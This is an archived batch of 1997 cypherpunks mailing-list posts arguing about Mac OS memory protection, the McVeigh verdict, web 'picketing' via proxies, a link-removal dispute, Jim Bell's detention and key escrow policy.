In-Reply-To: <v03102803afb8af25877d@[17.203.21.78]>
Message-ID: <199706021933.UAA00605@server.test.net>
MIME-Version: 1.0
Content-Type: text/plain



Vinnie Moscaritolo <vinnie@webstuff.apple.com> writes:
> Tim May <tcmay@got.net> writes:
> >.the Mac OS is of course still missing basic OS features such as... memory
> >>protection.)
> 
> Tim,.I am suprised to hear you whining with such a liberals voice..  I
> always thought that  demanding memory protection in an OS  is a lot like
> demanding that the government is responsible for protecting you from
> anything that might go bad.. If applications are well written, then you
> really dont need the memory partitions in a personal computer.

Are you serious?  Or are you pulling our leg?

>  That is if application writers would take responsibility for thier own
> apps... 

People write crap software.  Microsoft writes crap software.  If the
OS reboots or freezes every time a microsoft app dumps core on you, it
gets tedious.  If you are developing software you don't want a reboot
just 'cause you got a stray pointer.

Real multi-tasking is kind of nice too, like when the mouse cursor
still functions, and your system still runs while copying a file to a
floppy disk.  (The entire system freezes for the duration of the
operation with win3.1, and I think it is still noticeable in win95.
Linux where as you wouldn't know there was a floppy being copied if
you didn't glance down at the drive light.)

Adam
-- 
Have *you* exported RSA today? --> http://www.dcs.ex.ac.uk/~aba/rsa/

print pack"C*",split/\D+/,`echo "16iII*o\U@{$/=$z;[(pop,pop,unpack"H*",<>
)]}\EsMsKsN0[lN*1lK[d2%Sa2/d0<X+d*lMLa^*lN%0]dsXx++lMlN/dsM0<J]dsJxp"|dc`





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "William H. Geiger III" <whgiii@amaranth.com>
Date: Tue, 3 Jun 1997 11:30:25 +0800
To: cypherpunks@toad.com
Subject: Re: McVeigh
Message-ID: <199706030310.WAA25264@mailhub.amaranth.com>
MIME-Version: 1.0
Content-Type: text/plain


-----BEGIN PGP SIGNED MESSAGE-----

In <199706030020.TAA04784@manifold.algebra.com>, on 06/02/97 
   at 07:20 PM, ichudov@algebra.com (Igor Chudov @ home) said:

>Anonymous wrote:
>> 
>> On Mon, Jun 02, 1997 at 05:34:55PM -0500, bennett_t1@popmail.firn.edu wrote:
>> > Timothy McVeigh was found guilty on all counts today.  I am not
>> > surprised.  People will believe anything the govt. says, and besides,
>> > the governments lawyers were obviously more expensive than McVeigh's. 
>> > This is a sad day for all anti-government haters.
>> 
>> Yes, poor Tim Mcveigh.  If he's innocent then he is one more victim 
>> of the OKC bomber.
>> 
>> Tim May: "broken eggs and all that"

>Is that the end of the story? I understand it that he can appeal, and
>will.

>	- Igor.


- -- 
- ---------------------------------------------------------------
William H. Geiger III  http://www.amaranth.com/~whgiii
Geiger Consulting    Cooking With Warp 4.0

Author of E-Secure - PGP Front End for MR/2 Ice
PGP & MR/2 the only way for secure e-mail.
OS/2 PGP 2.6.3a at: http://www.amaranth.com/~whgiii/pgpmr2.html                        
- ---------------------------------------------------------------

In <199706030020.TAA04784@manifold.algebra.com>, on 06/02/97 
   at 07:20 PM, ichudov@algebra.com (Igor Chudov @ home) said:

>Anonymous wrote:
>> 
>> On Mon, Jun 02, 1997 at 05:34:55PM -0500, bennett_t1@popmail.firn.edu wrote:
>> > Timothy McVeigh was found guilty on all counts today.  I am not
>> > surprised.  People will believe anything the govt. says, and besides,
>> > the governments lawyers were obviously more expensive than McVeigh's. 
>> > This is a sad day for all anti-government haters.
>> 
>> Yes, poor Tim Mcveigh.  If he's innocent then he is one more victim 
>> of the OKC bomber.
>> 
>> Tim May: "broken eggs and all that"

>Is that the end of the story? I understand it that he can appeal, and
>will.

>	- Igor.


- -- 
- ---------------------------------------------------------------
William H. Geiger III  http://www.amaranth.com/~whgiii
Geiger Consulting    Cooking With Warp 4.0

Author of E-Secure - PGP Front End for MR/2 Ice
PGP & MR/2 the only way for secure e-mail.
OS/2 PGP 2.6.3a at: http://www.amaranth.com/~whgiii/pgpmr2.html                        
- ---------------------------------------------------------------

In <199706030020.TAA04784@manifold.algebra.com>, on 06/02/97 
   at 07:20 PM, ichudov@algebra.com (Igor Chudov @ home) said:

>Anonymous wrote:
>> 
>> On Mon, Jun 02, 1997 at 05:34:55PM -0500, bennett_t1@popmail.firn.edu wrote:
>> > Timothy McVeigh was found guilty on all counts today.  I am not
>> > surprised.  People will believe anything the govt. says, and besides,
>> > the governments lawyers were obviously more expensive than McVeigh's. 
>> > This is a sad day for all anti-government haters.
>> 
>> Yes, poor Tim Mcveigh.  If he's innocent then he is one more victim 
>> of the OKC bomber.
>> 
>> Tim May: "broken eggs and all that"

>Is that the end of the story? I understand it that he can appeal, and
>will.

>	- Igor.


- -- 
- ---------------------------------------------------------------
William H. Geiger III  http://www.amaranth.com/~whgiii
Geiger Consulting    Cooking With Warp 4.0

Author of E-Secure - PGP Front End for MR/2 Ice
PGP & MR/2 the only way for secure e-mail.
OS/2 PGP 2.6.3a at: http://www.amaranth.com/~whgiii/pgpmr2.html                        
- ---------------------------------------------------------------

In <199706030020.TAA04784@manifold.algebra.com>, on 06/02/97 
   at 07:20 PM, ichudov@algebra.com (Igor Chudov @ home) said:

>Anonymous wrote:
>> 
>> On Mon, Jun 02, 1997 at 05:34:55PM -0500, bennett_t1@popmail.firn.edu wrote:
>> > Timothy McVeigh was found guilty on all counts today.  I am not
>> > surprised.  People will believe anything the govt. says, and besides,
>> > the governments lawyers were obviously more expensive than McVeigh's. 
>> > This is a sad day for all anti-government haters.
>> 
>> Yes, poor Tim Mcveigh.  If he's innocent then he is one more victim 
>> of the OKC bomber.
>> 
>> Tim May: "broken eggs and all that"

>Is that the end of the story? I understand it that he can appeal, and
>will.

>	- Igor.


- -- 
- ---------------------------------------------------------------
William H. Geiger III  http://www.amaranth.com/~whgiii
Geiger Consulting    Cooking With Warp 4.0

Author of E-Secure - PGP Front End for MR/2 Ice
PGP & MR/2 the only way for secure e-mail.
OS/2 PGP 2.6.3a at: http://www.amaranth.com/~whgiii/pgpmr2.html                        
- ---------------------------------------------------------------


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From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Jim Choate <ravage@EINSTEIN.ssz.com>
Date: Tue, 3 Jun 1997 11:09:40 +0800
To: cypherpunks@EINSTEIN.ssz.com (Cypherpunks Distributed Remailer)
Subject: Webpage picketing?...
Message-ID: <199706030135.UAA13557@einstein.ssz.com>
MIME-Version: 1.0
Content-Type: text


Hi,

I have been looking at how to impliment picketing on the web. To date I have
been unable to come up with a way to force a connection to one machine to go
through a third machine in order to express some view about the original
target.

This idea came to me while watching some folks picket a local grocer over
something I couldn't make out (the signs were poorly done). It occured to me
that since one could argue that the links between sites are public avenues a
site could 'picket' another site. The question became at this point, how?

So far I have been unable to figure a way out. Any ideas you might care to
share with us all?


   _______________________________________________________________________
  |                                                                       |
  |      No people do so much harm as those who go about doing good.      |
  |                                                                       |
  |                                           Mandell Creighton           |
  |                                                                       |
  |     Jim Choate                                 ravage@ssz.com         |
  |     The Armadillo Group                        www.ssz.com            |
  |     Austin, Texas, USA                         512-451-7087           |
  |_______________________________________________________________________|





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "William H. Geiger III" <whgiii@amaranth.com>
Date: Tue, 3 Jun 1997 11:25:48 +0800
To: cypherpunks@toad.com
Subject: Re: McVeigh
Message-ID: <199706030310.WAA25273@mailhub.amaranth.com>
MIME-Version: 1.0
Content-Type: text/plain


-----BEGIN PGP SIGNED MESSAGE-----

In <199706030020.TAA04784@manifold.algebra.com>, on 06/02/97 
   at 07:20 PM, ichudov@algebra.com (Igor Chudov @ home) said:

>Anonymous wrote:
>> 
>> On Mon, Jun 02, 1997 at 05:34:55PM -0500, bennett_t1@popmail.firn.edu wrote:
>> > Timothy McVeigh was found guilty on all counts today.  I am not
>> > surprised.  People will believe anything the govt. says, and besides,
>> > the governments lawyers were obviously more expensive than McVeigh's. 
>> > This is a sad day for all anti-government haters.
>> 
>> Yes, poor Tim Mcveigh.  If he's innocent then he is one more victim 
>> of the OKC bomber.
>> 
>> Tim May: "broken eggs and all that"

>Is that the end of the story? I understand it that he can appeal, and
>will.

>	- Igor.


- -- 
- ---------------------------------------------------------------
William H. Geiger III  http://www.amaranth.com/~whgiii
Geiger Consulting    Cooking With Warp 4.0

Author of E-Secure - PGP Front End for MR/2 Ice
PGP & MR/2 the only way for secure e-mail.
OS/2 PGP 2.6.3a at: http://www.amaranth.com/~whgiii/pgpmr2.html                        
- ---------------------------------------------------------------


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From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Hallam-Baker <hallam@ai.mit.edu>
Date: Tue, 3 Jun 1997 10:56:25 +0800
To: cypherpunks@toad.com
Subject: Re: McVeigh
In-Reply-To: <33934A8F.6114@popmail.firn.edu>
Message-ID: <3393682D.167E@ai.mit.edu>
MIME-Version: 1.0
Content-Type: text/plain


Anonymous wrote:
> 
> On Mon, Jun 02, 1997 at 05:34:55PM -0500, bennett_t1@popmail.firn.edu wrote:
> > Timothy McVeigh was found guilty on all counts today.  I am not
> > surprised.  People will believe anything the govt. says, and besides,
> > the governments lawyers were obviously more expensive than McVeigh's.
> > This is a sad day for all anti-government haters.
> 
> Yes, poor Tim Mcveigh.  If he's innocent then he is one more victim
> of the OKC bomber.

I'm surprised at the concern. After all I've not noticed militia
supporters and appologists speaking out against the death penalty.

If one is driving away from the scene of the biggest single terrorist
incident on US soil one is probably well advised to both have 
license plates on the car and not be carrying unlicensed firearms.
If one is arrested its probably not advisable to counter interrogation
by refusing to give more than name rank and serial number, a request
to see a lawyer is probably a more sensible choice.

The one problem I have with the trial is the leaking of the
defense notes. I suspect that they are genuine and that McVeigh 
really did confess. In the UK publication would be barred for
the duration of the trial and heavy jail sentences imposed since
the right to a fair trial is considered a reasonable justification
for a temporary bar on the right to free speech. However I would
not argue that the trial be halted as a result since one 
possible explanation is that the defense saw that there was no 
chance of aquital and gambled on gaining a mistrial. 

$10 million for 5 days of defense evidence tends to suggest that 
there was not much evidence to show. 


Appologists for McVeigh should consider that his actions did not 
advance the militia cause an iota, it destroyed it and along with 
it much of the right wing fringe. It forced Rush Limbaugh off 
television and many right wing hosts off radio. The sympathy
shown for the bomber's motives made the country aware that it
did not share the anti-government sentiment. Clinton's poll 
recovery dates precisely from the moment of the Oaklahoma 
bomb. If you read the propaganda being generated durning the
budget impasse its pretty ovbvious that Clinton was successful
in portraying Newt as a legislative version of McVeigh, Newt
had of course alligned himself with the most extreme of the 
talk show hosts Liddy and Limbaugh when he became speaker. 

McVeigh ripped the heart out of the militia movement, he demonstrated
what it was really about. Ironically the Oaklahoma bombing may have
had precisely the effect McVeigh desired but in a very different 
sense. It was a wake up call to defend the country from fascism 
but the fascist threat was McVeigh and the millitia movement.


The millitia movement have only two possible scripts at this
point and one might well be denied them. They can either admit
the nature of their cause and claim McVeigh as a martyr, this
probably guarantees them extinction but then again Hitler 
recovered from the beer hall putsch. Alternatively they can 
loudly claim that McVeigh was "framed" in the same way that
other neo-NAZIs on the net claim the holocaust a fake, i.e.
so that nobody really believes it. I suspect that this script
will be denied them because it would require McVeigh to go
to the execution chamber proclaiming his innocence and this
is something he has curiously failed to do so far. I'm not
a trained psychologist but my experience in this area suggests
that a claim of responsibility and publication of some 
document that serves as a political manifesto is very likely.
It an ego thing...


	Phill





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: bennett_t1@popmail.firn.edu
Date: Tue, 3 Jun 1997 10:51:11 +0800
To: Igor Chudov <ichudov@algebra.com>
Subject: Re: McVeigh
In-Reply-To: <199706030020.TAA04784@manifold.algebra.com>
Message-ID: <3393770E.786D@popmail.firn.edu>
MIME-Version: 1.0
Content-Type: text/plain


Igor Chudov @ home wrote:
> 
> Anonymous wrote:
> >
> > On Mon, Jun 02, 1997 at 05:34:55PM -0500, bennett_t1@popmail.firn.edu wrote:
> > > Timothy McVeigh was found guilty on all counts today.  I am not
> > > surprised.  People will believe anything the govt. says, and besides,
> > > the governments lawyers were obviously more expensive than McVeigh's.
> > > This is a sad day for all anti-government haters.
> >
> > Yes, poor Tim Mcveigh.  If he's innocent then he is one more victim
> > of the OKC bomber.
> >
> > Tim May: "broken eggs and all that"
> 
> Is that the end of the story? I understand it that he can appeal, and will.
> 
>         - Igor.
Do you honestly think it will work? don't hold your breath.





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Jim Choate <ravage@EINSTEIN.ssz.com>
Date: Tue, 3 Jun 1997 11:10:41 +0800
To: cypherpunks@EINSTEIN.ssz.com (Cypherpunks Distributed Remailer)
Subject: Re: Remove this link immediately (fwd)
Message-ID: <199706030155.UAA13668@einstein.ssz.com>
MIME-Version: 1.0
Content-Type: text


Forwarded message:
>From don@tinaja.com Mon Jun  2 20:49:50 1997
Message-ID: <33937E16.2BE@tinaja.com>
Date: Mon, 02 Jun 1997 19:14:46 -0700
From: Don Lancaster <don@zekes.com>
Reply-To: don@zekes.com
Organization: Synergetics
X-Mailer: Mozilla 3.0Gold (Win95; I)
MIME-Version: 1.0
To: Jim Choate <ravage@einstein.ssz.com>
Subject: Re: Remove this link immediately
References: <199706022354.SAA13080@einstein.ssz.com>
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit

Jim Choate wrote:
> 
> Hi Don,
> 
> > Your hackers resource page contains a link to my GURU'S LAIR WEB site
> > at http://www.tinaja.com
> 
> I don't have a hackers resource page, I do small office - home office
> consulting.
> 
> >
> > Please remove this link.
> > Please do so immediately.
> 
> Short answer, no. If you don't want links to it don't put it on the net.
> 
> >
> > --
> >
> >   Don Lancaster
> >
> >   Synergetics Press  3860 West First Street  Box 809  Thatcher, AZ 85552
> >   Voice phone: (520) 428-4073    email: don@tinaja.com
> >   Visit my GURU's LAIR web site at http://www.tinaja.com
> >
> >   Know your acronymns:  url = utterly rancid location
> >                         net = not entirely true
> >                         www = world wide wait
> >
> 
>                                                     Jim Choate
>                                                     CyberTects
>                                                     ravage@ssz.com


Your actions constitute criminal libel.
You will be treated accordingly.
-- 
Many thanks,

  Don Lancaster

  Synergetics Press  3860 West First Street  Box 809  Thatcher, AZ 85552
  Voice phone: (520) 428-4073    email: don@tinaja.com     
  Visit my GURU's LAIR web site at http://www.tinaja.com

  Know your acronymns:  url = utterly rancid location 
                        net = not entirely true
                        www = world wide wait





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Jim Choate <ravage@EINSTEIN.ssz.com>
Date: Tue, 3 Jun 1997 11:12:46 +0800
To: don@zekes.com
Subject: Re: Remove this link immediately
In-Reply-To: <33937E16.2BE@tinaja.com>
Message-ID: <199706030203.VAA13705@einstein.ssz.com>
MIME-Version: 1.0
Content-Type: text


Hi Don,

> 
> Jim Choate wrote:
> > 
> > Hi Don,
> > 
> > > Your hackers resource page contains a link to my GURU'S LAIR WEB site
> > > at http://www.tinaja.com
> > 
> > I don't have a hackers resource page, I do small office - home office
> > consulting.
> > 
> > >
> > > Please remove this link.
> > > Please do so immediately.
> > 
> > Short answer, no. If you don't want links to it don't put it on the net.
> > 
> > >
> > > --
> > >
> > >   Don Lancaster
> > >
> > >   Synergetics Press  3860 West First Street  Box 809  Thatcher, AZ 85552
> > >   Voice phone: (520) 428-4073    email: don@tinaja.com
> > >   Visit my GURU's LAIR web site at http://www.tinaja.com
> > >
> > >   Know your acronymns:  url = utterly rancid location
> > >                         net = not entirely true
> > >                         www = world wide wait
> > >
> > 
> >                                                     Jim Choate
> >                                                     CyberTects
> >                                                     ravage@ssz.com
> 
> 
> Your actions constitute criminal libel.
> You will be treated accordingly.
> -- 
> Many thanks,
> 
>   Don Lancaster
> 
>   Synergetics Press  3860 West First Street  Box 809  Thatcher, AZ 85552
>   Voice phone: (520) 428-4073    email: don@tinaja.com     
>   Visit my GURU's LAIR web site at http://www.tinaja.com
> 
>   Know your acronymns:  url = utterly rancid location 
>                         net = not entirely true
>                         www = world wide wait
> 

No more so than your trying to decide what bookstore might carry the
magazines your articles appear in. Further more, even if your page were
commercial access only that would in no way prohibit me from linking to it,
unless you care to claim that a library or used bookstore with a computerized
listing of your articles constitutes libel (it doesn't).

Give me a break and go pick a fight you can win. And if you are serious
please enough with the vailed threats, just give me your lawyers name and
number like a good little boy.

   _______________________________________________________________________
  |                                                                       |
  |            Speak the truth, but leave immediately after.              |
  |                                                                       |
  |                                     Slovenian Proverb                 |
  |                                                                       |
  |     Jim Choate                                 ravage@ssz.com         |
  |     The Armadillo Group                        www.ssz.com            |
  |     Austin, Texas, USA                         512-451-7087           |
  |_______________________________________________________________________|





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: John Young <jya@pipeline.com>
Date: Tue, 3 Jun 1997 11:07:29 +0800
To: cypherpunks@toad.com
Subject: Jim Bell 4
Message-ID: <1.5.4.32.19970603011048.0095ad88@pop.pipeline.com>
MIME-Version: 1.0
Content-Type: text/plain


I spoke briefly this afternoon with Kelly Miller, the
clerk of the district court handling Jim's case, and
Peter Avenia, the federal defender appointed to
represent him. 

Not much news and no new documents have been 
released.

Jim is still in jail and will remain until the grand jury
indicts or not -- within 30 days, I believe.

According to Avenia, the Magistrate Arnold decided 
to hold Jim at a detention hearing a week ago Friday. 
That  the magistrate chose to do so after hearing the 
complaining agent's allegations of Jim's danger 
to the public and even though a pre-trial services
report favored Jim's release. Avenia's offer to carefully 
monitor Jim if he was released was declined.

Avenia would not disclose much beyond explaining
federal procedures, citing client confidentiality. However, 
he said that during the hearing emphasis was given to 
AP in assessing Jim's threat to the public.

Miller and Avenia were cordial. Here're telephone
numbers:

Kelly Miller: 1-253-593-6754

Peter Avenia: 1-253-593-6710






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: lucifer@dhp.com (lucifer Anonymous Remailer)
Date: Tue, 3 Jun 1997 11:03:45 +0800
To: cypherpunks@toad.com
Subject: Re: okc trial
Message-ID: <199706030116.VAA09653@dhp.com>
MIME-Version: 1.0
Content-Type: text/plain


Kirk Fort wrote:
> I hope Tim McVeigh frys. His friend Terry too.

  The country needs to be sent a strong message that the lives in OKC
were much more valuable than those in Waco.
  McVeigh is only guilty of 167 counts of murder. One of those killed
in the blast was a Branch Davidian. (McVeigh will receive a government
paycheck for that death.)

TruthMonger





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Adam Shostack <adam@homeport.org>
Date: Tue, 3 Jun 1997 11:04:50 +0800
To: lucifer@dhp.com (lucifer Anonymous Remailer)
Subject: Re: From Inter@ctive Week: Denning no longer backing key escrow?
In-Reply-To: <199706022353.TAA06529@dhp.com>
Message-ID: <199706030134.VAA19660@homeport.org>
MIME-Version: 1.0
Content-Type: text/plain


I think that this is an inappropriate attack, really.  Dorothy is not
an idiot, and I don't think her opinions are for sale.   She fell in
with a bad crowd that sold her a bill of goods.  She's getting over
it.


Sheesh.


| Will Rodger wrote:
| > Here's an interesting question:
| > What happens when your star technical witness tells others she's no longer
| > your witness at all?
| 
| > Denning now says she has doubts...
| > "Maybe export controls should be lifted," Denning said. "But I'm not saying
| > that all controls should be lifted. I've gotten into a state where I don't
| > know and I'm not sure that I ever knew."
| 
|   Translation: Denning is waiting for the check from Sun Microsystems
| to clear before she finally makes up her mind.
| 
| TruthMonger
| 


-- 
"It is seldom that liberty of any kind is lost all at once."
					               -Hume






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "Kirk Fort" <kirkfort@teleplex.net>
Date: Tue, 3 Jun 1997 11:08:29 +0800
To: <cypherpunks@toad.com>
Subject: Re: okc trial
Message-ID: <199706030148.VAA26888@teleplex.net>
MIME-Version: 1.0
Content-Type: text/plain


-----BEGIN PGP SIGNED MESSAGE-----

he has been convicted on the 11 (I believe) federal employees.  He has yet
be tried on the other 156. I believe that the state of Oklahoma is going to
prosecute that case.  The 11 deaths should be enough though, for the
maximum penalty.
Kirk


- ----------
> From: lucifer Anonymous Remailer <lucifer@dhp.com>
> To: cypherpunks@toad.com
> Subject: Re: okc trial
> Date: Monday, June 02, 1997 9:16 PM
> 
> Kirk Fort wrote:
> > I hope Tim McVeigh frys. His friend Terry too.
> 
>   The country needs to be sent a strong message that the lives in OKC
> were much more valuable than those in Waco.
>   McVeigh is only guilty of 167 counts of murder. One of those killed
> in the blast was a Branch Davidian. (McVeigh will receive a government
> paycheck for that death.)
> 
> TruthMonger
> 

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From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Lee Tien <tien@well.com>
Date: Tue, 3 Jun 1997 13:04:46 +0800
To: cypherpunks@cyberpass.net
Subject: CA dig sig
Message-ID: <v03007800afb8b906a151@[163.176.132.90]>
MIME-Version: 1.0
Content-Type: text/plain


-----BEGIN PGP SIGNED MESSAGE-----
Hash: SHA1

>Date: Mon, 2 Jun 1997 01:21:59 -0400
>From: Ben Wright <Ben_Wright@compuserve.com>
>Subject: California signature regs
>To: CA-DIGSIG <CA-DIGSIG@commerce.net>
>
>+----------------------------------------------------------------------+
>This message was addressed to:  ca-digsig@lists.commerce.net
>+----------------------------------------------------------------------+
>
>See <http://www.ss.ca.gov/digsig/digsig.htm>.  The California Secretary of
>State proposes regulations under California's digital signature act.  The
>regs allow for two types of technologies -- public key crypto and signature
>dynamics (a method for securely binding measurements of a handwritten
>autograph to an electronic document).
>
>--Ben Wright
>Author, The Law of Electronic Commerce
><http://infohaus.com/access/by-seller/Benjamin_Wright>
>Ben_Wright@compuserve.com


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From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: John Young <jya@pipeline.com>
Date: Tue, 3 Jun 1997 10:58:15 +0800
To: cypherpunks@toad.com
Subject: Re: From Inter@ctive Week: Denning no longer backing key escrow?
Message-ID: <1.5.4.32.19970603014803.00988558@pop.pipeline.com>
MIME-Version: 1.0
Content-Type: text/plain


Professor Denning has an evolving statement of her position 
on encryption policy, the latest dated May 26, 1997:

http://guru.cosc.georgetown.edu/~denning/crypto/position.html

Excerpts:

"I do not advocate domestic regulations mandating key 
recovery. Neither do I advocate that cryptography necessarily 
be free of all regulation, including export controls. I constantly
struggle with the issues and do not see easy answers." 

"I support the program of the Clinton Administration to 
liberalize export controls for key recovery products, to adopt 
key recovery within federal agencies, and to promote the
voluntary use of key recovery technologies. I believe that 
key recovery can be done without compromising privacy 
and security, but acknowledge that there are also costs and 
risks associated with key recovery."






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Bill Frantz <frantz@netcom.com>
Date: Tue, 3 Jun 1997 14:01:29 +0800
To: Vinnie Moscaritolo <vinnie@webstuff.apple.com>
Subject: Re: Comments on the Macintosh
In-Reply-To: <v030209f4afb5cb93e95a@[139.167.130.247]>
Message-ID: <v03007816afb9562a15c9@[207.94.249.152]>
MIME-Version: 1.0
Content-Type: text/plain


Vinnie wrote:
>Tim,.I am suprised to hear you whining with such a liberals voice..  I
>always thought that  demanding memory protection in an OS  is a lot like
>demanding that the government is responsible for protecting you from
>anything that might go bad.. If applications are well written, then you
>really dont need the memory partitions in a personal computer.

Hi Vinnie.  I'm with Tim on this one.  While I have strong feelings about
locking up people, I have no compunctions at all about locking up
program-instances.  If I can contain the instances, and especially keep
them limited in their file access, I can do a bunch to control viruses and
other nasties.  (BTW - Linux, like all Unixes is piss poor at limiting file
system access.)

Best Regards - Bill


-------------------------------------------------------------------------
Bill Frantz       | The Internet was designed  | Periwinkle -- Consulting
(408)356-8506     | to protect the free world  | 16345 Englewood Ave.
frantz@netcom.com | from hostile governments.  | Los Gatos, CA 95032, USA






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Hallam-Baker <hallam@ai.mit.edu>
Date: Tue, 3 Jun 1997 11:12:17 +0800
To: cypherpunks@toad.com
Subject: Re: McVeigh
In-Reply-To: <199706030020.TAA04784@manifold.algebra.com>
Message-ID: <339381FA.2781@ai.mit.edu>
MIME-Version: 1.0
Content-Type: text/plain


Mike Duvos wrote:
> 
> Igor writes:
> 
> > Is that the end of the story? I understand it that he can appeal, and
> > will.
> 
> One of the major flaws of the Criminal Justice System in this country is
> that one can only appeal based on procedural issues.  No one, after a
> trial has concluded, may ever challenge the trial verdict. They may only
> argue that the proper ritual was not followed, and higher courts are very
> reluctant to disagree with the actions of lower courts, preferring instead
> to state that the errors committed would likely not have affected the
> outcome.

This is yet another example of the result of taking the consitution
too literally. The English common law idea of trial by ones peers
somehow gets transmogravated into the peculiar idea that ones
peers will produce an infallible verdict. Generaly the idea of trial 
by ones peers has been read as a protection for the defendant
and that it is open to the government to grant a new trial if
they chose.

Appeals based on new evidence are not a matter of course in the
UK but they are not unusual either. One of the ironies of the
Maguire 7 and Birmingham 6 cases was that despite being widely
reported in the US as miscarriges of justice no mention was made
of the fact that in the US there would be no legal recourse
whatsoever. Even if it was proven beyond doubt that the 
evidence on which the conviction was based was fraudulent
there could be no appeal on that basis.


> It gets even worse than that.  Many states, Texas amongst them, have a
> time limit for the introduction of new evidence after a trial, even if it
> completely exonerates the defendent, and are prefectly willing to execute
> someone as long as they have been given "due process," even if it has been
> clearly demonstrated that they are not guilty.
 
The trial was federal so the federal proceedures would apply. 


> The only difference between Tim McVeigh and Richard Jewell is that the
> government stopped the hatchet job on Jewell in midstream.

One other difference, Jewell saved lives by warning people of a
bomb and McVeigh murdered 167 by planting one. A small detail
perhaps in the eyes of militia appologists anxious to find any 
possible reason to maintain their fantasy world.


Again why the sudden concern for the mechanisms of justice 
when one white guy is found guilty of murdering 167 people?


	Phill





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "William H. Geiger III" <whgiii@amaranth.com>
Date: Tue, 3 Jun 1997 11:50:03 +0800
To: Hallam-Baker <hallam@ai.mit.edu>
Subject: Re: McVeigh
In-Reply-To: <339381FA.2781@ai.mit.edu>
Message-ID: <199706030335.WAA25599@mailhub.amaranth.com>
MIME-Version: 1.0
Content-Type: text/plain


-----BEGIN PGP SIGNED MESSAGE-----

In <339381FA.2781@ai.mit.edu>, on 06/02/97 
   at 10:31 PM, Hallam-Baker <hallam@ai.mit.edu> said:

>Again why the sudden concern for the mechanisms of justice 
>when one white guy is found guilty of murdering 167 people?

Because it is all an evil white conspiracy.

We are all out to get you, to enslave, humiliate, and degrade you.

This is not done out of hate but sheer boredom. Ruling the world is not
all that it's cut out to be.


- -- 
- ---------------------------------------------------------------
William H. Geiger III  http://www.amaranth.com/~whgiii
Geiger Consulting    Cooking With Warp 4.0

Author of E-Secure - PGP Front End for MR/2 Ice
PGP & MR/2 the only way for secure e-mail.
OS/2 PGP 2.6.3a at: http://www.amaranth.com/~whgiii/pgpmr2.html                        
- ---------------------------------------------------------------

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From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Jamie Lawrence <jal@acm.org>
Date: Tue, 3 Jun 1997 14:25:48 +0800
To: cypherpunks@cyberpass.net
Subject: [fwd] California digital-signature proposed regulations
Message-ID: <v03102803afb95ef4183b@[10.0.2.15]>
MIME-Version: 1.0
Content-Type: text/plain



--- begin forwarded text


Date: Mon, 2 Jun 1997 09:40:30 -0800
To: [...]
Subject: [fwd] California digital-signature proposed regulations

>Date: Mon, 2 Jun 1997 01:21:59 -0400
>From: Ben Wright <Ben_Wright@compuserve.com>
>Subject: California signature regs
>To: CA-DIGSIG <CA-DIGSIG@commerce.net>
>
>+----------------------------------------------------------------------+
>This message was addressed to:  ca-digsig@lists.commerce.net
>+----------------------------------------------------------------------+
>
>See <http://www.ss.ca.gov/digsig/digsig.htm>.  The California Secretary of
>State proposes regulations under California's digital signature act.  The
>regs allow for two types of technologies -- public key crypto and signature
>dynamics (a method for securely binding measurements of a handwritten
>autograph to an electronic document).
>
>--Ben Wright
>Author, The Law of Electronic Commerce
><http://infohaus.com/access/by-seller/Benjamin_Wright>
>Ben_Wright@compuserve.com
>
>
>
>-------------------------------------------------------------------------
>This message was sent by a majordomo-based automatic list manager.
>Subscriptions to and archives of this list are available to any person
>or organization.  For further information send a mail message to
>'ca-digsig-request@lists.commerce.net' with 'help' (no quotations)
>contained in the body of your message.
>

--- end forwarded text



--
"This analogy is like lifting yourself by your own bootstraps."
                                         -Douglas R. Hofstadter
_______________________________________________________________
Jamie Lawrence                                      jal@acm.org






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Bill Frantz <frantz@netcom.com>
Date: Tue, 3 Jun 1997 13:52:42 +0800
To: Jim Choate <cypherpunks@EINSTEIN.ssz.com (Cypherpunks Distributed Remailer)
Subject: Re: Webpage picketing?...
In-Reply-To: <199706030135.UAA13557@einstein.ssz.com>
Message-ID: <v0300781aafb95e6a0644@[207.94.249.152]>
MIME-Version: 1.0
Content-Type: text/plain


At 6:35 PM -0700 6/2/97, Jim Choate wrote:
>I have been looking at how to impliment picketing on the web. To date I have
>been unable to come up with a way to force a connection to one machine to go
>through a third machine in order to express some view about the original
>target.
>
>This idea came to me while watching some folks picket a local grocer over
>something I couldn't make out (the signs were poorly done). It occured to me
>that since one could argue that the links between sites are public avenues a
>site could 'picket' another site. The question became at this point, how?

Use the same techniques as the anonymoizing web proxies.  They re-form the
URLs in web page links, so you always go thru the proxy.


-------------------------------------------------------------------------
Bill Frantz       | The Internet was designed  | Periwinkle -- Consulting
(408)356-8506     | to protect the free world  | 16345 Englewood Ave.
frantz@netcom.com | from hostile governments.  | Los Gatos, CA 95032, USA






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "William H. Geiger III" <whgiii@amaranth.com>
Date: Tue, 3 Jun 1997 12:22:01 +0800
To: Hallam-Baker <hallam@ai.mit.edu>
Subject: Re: McVeigh
In-Reply-To: <3393682D.167E@ai.mit.edu>
Message-ID: <199706030405.XAA25918@mailhub.amaranth.com>
MIME-Version: 1.0
Content-Type: text/plain


-----BEGIN PGP SIGNED MESSAGE-----

In <3393682D.167E@ai.mit.edu>, on 06/02/97 
